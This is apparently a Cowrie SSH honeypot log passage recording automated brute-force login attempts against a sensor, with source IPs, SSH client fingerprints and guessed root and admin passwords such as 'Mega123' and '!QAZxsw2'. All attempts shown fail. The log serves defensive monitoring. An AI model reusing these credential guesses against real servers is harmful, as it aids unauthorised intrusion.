{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:10.889681Z","src_ip":"60.165.124.241","session":"f0a9afe9953d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saka","message":"login attempt [root/saka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:11.656477Z","src_ip":"60.165.124.241","session":"f0a9afe9953d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:12.911947Z","src_ip":"60.165.124.241","session":"f0a9afe9953d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55304,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9cd2aa9885e","protocol":"ssh","message":"New connection: 60.165.124.241:55304 (10.17.0.5:22) [session: c9cd2aa9885e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:14.180598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:14.185250Z","src_ip":"60.165.124.241","session":"c9cd2aa9885e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:14.451646Z","src_ip":"60.165.124.241","session":"c9cd2aa9885e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mega123","message":"login attempt [root/Mega123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:15.985842Z","src_ip":"60.165.124.241","session":"c9cd2aa9885e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":23324,"dst_ip":"10.17.0.5","dst_port":22,"session":"26a8d178a5a2","protocol":"ssh","message":"New connection: 2.57.121.112:23324 (10.17.0.5:22) [session: 26a8d178a5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:15.991086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:15.996683Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:16.106406Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pppppppppp","message":"login attempt [admin/pppppppppp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:16.595937Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:17.250623Z","src_ip":"60.165.124.241","session":"c9cd2aa9885e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60288,"dst_ip":"10.17.0.5","dst_port":22,"session":"39444970d835","protocol":"ssh","message":"New connection: 60.165.124.241:60288 (10.17.0.5:22) [session: 39444970d835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:17.500577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:17.505440Z","src_ip":"60.165.124.241","session":"39444970d835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"potatoe","message":"login attempt [admin/potatoe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:17.703872Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:17.749260Z","src_ip":"60.165.124.241","session":"39444970d835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12341234","message":"login attempt [root/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:18.489442Z","src_ip":"60.165.124.241","session":"39444970d835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"porpoise","message":"login attempt [admin/porpoise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:18.810579Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:19.749702Z","src_ip":"60.165.124.241","session":"39444970d835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"popol","message":"login attempt [admin/popol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:19.917901Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35278,"dst_ip":"10.17.0.5","dst_port":22,"session":"6939976dbf42","protocol":"ssh","message":"New connection: 60.165.124.241:35278 (10.17.0.5:22) [session: 6939976dbf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:20.000495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:20.005997Z","src_ip":"60.165.124.241","session":"6939976dbf42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:20.244856Z","src_ip":"60.165.124.241","session":"6939976dbf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tianzhen","message":"login attempt [root/tianzhen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:20.998203Z","src_ip":"60.165.124.241","session":"6939976dbf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pomona","message":"login attempt [admin/pomona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:21.024496Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:22.131831Z","src_ip":"2.57.121.112","session":"26a8d178a5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:22.254536Z","src_ip":"60.165.124.241","session":"6939976dbf42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37954,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9b3dec95cb8","protocol":"ssh","message":"New connection: 60.165.124.241:37954 (10.17.0.5:22) [session: a9b3dec95cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:22.502133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:22.510384Z","src_ip":"60.165.124.241","session":"a9b3dec95cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:22.771658Z","src_ip":"60.165.124.241","session":"a9b3dec95cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258369.","message":"login attempt [root/Aa147258369.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:23.505505Z","src_ip":"60.165.124.241","session":"a9b3dec95cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:24.748804Z","src_ip":"60.165.124.241","session":"a9b3dec95cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08e7d5e5343","protocol":"ssh","message":"New connection: 60.165.124.241:40968 (10.17.0.5:22) [session: e08e7d5e5343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:24.986914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:24.993639Z","src_ip":"60.165.124.241","session":"e08e7d5e5343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:25.230455Z","src_ip":"60.165.124.241","session":"e08e7d5e5343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZxsw2","message":"login attempt [root/!QAZxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:26.185885Z","src_ip":"60.165.124.241","session":"e08e7d5e5343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:27.440466Z","src_ip":"60.165.124.241","session":"e08e7d5e5343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44052,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad98d081d2f6","protocol":"ssh","message":"New connection: 60.165.124.241:44052 (10.17.0.5:22) [session: ad98d081d2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:27.689158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:27.693932Z","src_ip":"60.165.124.241","session":"ad98d081d2f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:27.949088Z","src_ip":"60.165.124.241","session":"ad98d081d2f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ss123456","message":"login attempt [root/Ss123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:28.699748Z","src_ip":"60.165.124.241","session":"ad98d081d2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7190,"dst_ip":"10.17.0.5","dst_port":22,"session":"99aee9db6bce","protocol":"ssh","message":"New connection: 2.57.121.25:7190 (10.17.0.5:22) [session: 99aee9db6bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:29.592554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:37:29.597317Z","src_ip":"2.57.121.25","session":"99aee9db6bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripe